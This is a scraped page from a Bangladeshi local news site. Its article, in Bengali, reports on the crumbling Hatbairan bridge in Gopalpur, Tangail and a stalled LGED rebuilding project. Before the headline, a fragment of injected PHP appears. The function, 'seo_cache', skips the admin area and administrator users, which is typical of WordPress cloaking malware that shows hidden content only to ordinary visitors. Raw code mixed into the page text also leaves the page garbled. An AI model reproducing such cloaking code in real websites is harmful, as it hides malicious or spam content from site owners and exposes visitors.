function seo_cache() { if (is_admin()) return; $u = wp_get_current_user(); if (in_array('administrator', (array)$u->roles)) return; ?> গোপালপুর পৌরশহরের বৈরাণ সেঁতুর জীর্নদশা; নির্মাণ প্রকল্প ফাইলবন্দী - GopalpurBarta24.com
আজ || বুধবার, ০১ এপ্রিল ২০২৬
শিরোনাম :
 


গোপালপুর পৌরশহরের বৈরাণ সেঁতুর জীর্নদশা; নির্মাণ প্রকল্প ফাইলবন্দী

কে এম মিঠু, গোপালপুর :

টাঙ্গাইলের গোপালপুর পৌর শহরের বৈরাণ নদের উপর হাটবৈরাণ ব্রিজটি এখন ঝুঁকিপূর্ন।এলজিইডি এ জীর্ন ব্রিজটিকে বিপজ্জনক ঘোষণা দিলেও জীবনের ঝুঁকি নিয়ে রাতদিন পারাপার হচ্ছে যানবাহন। আসা-যাওয়া করছে হাজারো মানুষ।
গোপালপুর পৌরসভার সহকারি প্রকৌশলী জাহিদুল ইসলাম জানান, নব্বইয়ের দশকে হাটবৈরাণ এলাকায় বৈরাণ নদের উপর পৌর ফান্ডের টাকায় দুটি পৃথক সেঁতু নির্মিত হয়। পানি উন্নয়ন বোর্ডের নদী খননের ফলে হাটবৈরাণ পশ্চিম সেঁতুর সবকটি পিলার  আলগা হয়ে যায়। পরবর্তীতে সেটি নদে ধ্বসে পড়ে। এরপর হাটবৈরাণ পূর্ব সেতুঁর উপর বেশি চাপ পড়ে। এটির অবস্থাও খুব খারাপ। এখানে নতুন ব্রিজ নির্মাণের জন্য প্রকল্প দাখিল করা আছে। কিন্তু বরাদ্দ মিলছেনা।
খোঁজ নিয়ে দেখা যায়,  ব্রিজের দুই পাশের রেলিং ভেঙ্গে গেছে। পাটাতনে বড় গর্তের সৃষ্টি হয়েছে। বিম, উইং ওয়াল ও অ্যাবাটমেন্টে ফাটল ধরেছে। পাউবোর নদী খননের ফলে মাটি সরে গিয়ে সেঁতুর দুটি পিলার একদম আলগা হয়ে গেছে। ফলে সেতুঁটি যে কোন সময়ে ধ্বসে পড়তে পারে।

হাটবৈরাণের বাসিন্দা এবং মাধ্যমিক শিক্ষক সমিতির সম্পাদক আমিনুল ইসলাম জানান, শহরবাসি ছাড়াও ধোপাকান্দি ও নগদাশিমলা ইউনিয়নের দশ গ্রামের হাজারো মানুষ এই সেঁতু দিয়ে শহরে যাতায়াত করে। ব্যবসায়ী ও কৃষকরা পণ্য পরিবহন করে। দুই পাড়ের স্কুল-কলেজ ও মাদ্রাসার শিক্ষার্থীরা জীবন হাতে নিয়ে পারাপার হয়। সেঁতুতে বড় যান চলাচল বন্ধ রয়েছে। মাঝারি যান উঠলেই সেঁতু কাঁপতে থাকে। তার অভিযোগ এলজিইডির নতুন আরসিসি ব্রিজ নির্মাণ প্রকল্পটি দুই বছর ধরে ফাইলবন্দী।

সাবেক পৌর মেয়র এবং উপজেলা বিএনপির সভাপতি জাহাঙ্গীর আলম রুবেল জানান, প্রতিদিন জীবনের ঝুঁকি নিয়ে বিজ্জনক সেঁতু দিয়ে যানবাহন ও মানুষ পারাপার হচ্ছে। জীর্ন ব্রিজটি যে কোন সময় ধ্বসে বড় ধরনের দুর্ঘটনা ঘটাতে পারে। তিনি ব্রীজটি ভেঙ্গে  প্রকল্পাধীন আরসিসি ব্রীজ দ্রুত নির্মাণের দাবি জানান।

গোপালপুর এলজিইডি অফিস জানায়, হাটবৈরাণ-ধোপাকান্দি সড়কের উপর বৈরাণ নদের বর্তমান ব্রিজটি খুবই জনগুরুত্বপূর্ণ। তবে অবস্থা একদম করুণ। ৪৫ মিটার দৈর্ঘ্য এবং ৫০ মিটার চেইনের ব্রিজটি নির্মাণের জন্য ৩২ লক্ষ টাকার এষ্টিমেট কস্ট, ডিজাইন, ড্রইং এবং ভেটিং করে ২০২২ সালে এলজিইডির সংশ্লিষ্ট প্রকল্প পরিচালক দপ্তরে পাঠানো হয়। কিন্তু অর্থাভাবে প্রকল্পটি বাস্তবায়ন হচ্ছেনা। এ ব্যাপারে আগারগাঁওয়ের এলজিইডি সদর দপ্তরের  ‘ঘূর্ণিঝড় ও বণ্যায় ক্ষতিগ্রস্ত পল্লী অবকাঠামো পুনবার্সন প্রকল্প’ অফিসে যোগাযোগ করলে জানানো হয়, সামনের দিনে বাজেট প্রাপ্তি সাপেক্ষে এসব ব্রিজ নির্মাণ প্রকল্প বাস্তবায়িত করা হবে।

মন্তব্য করুন -


Top
error: Content is protected !!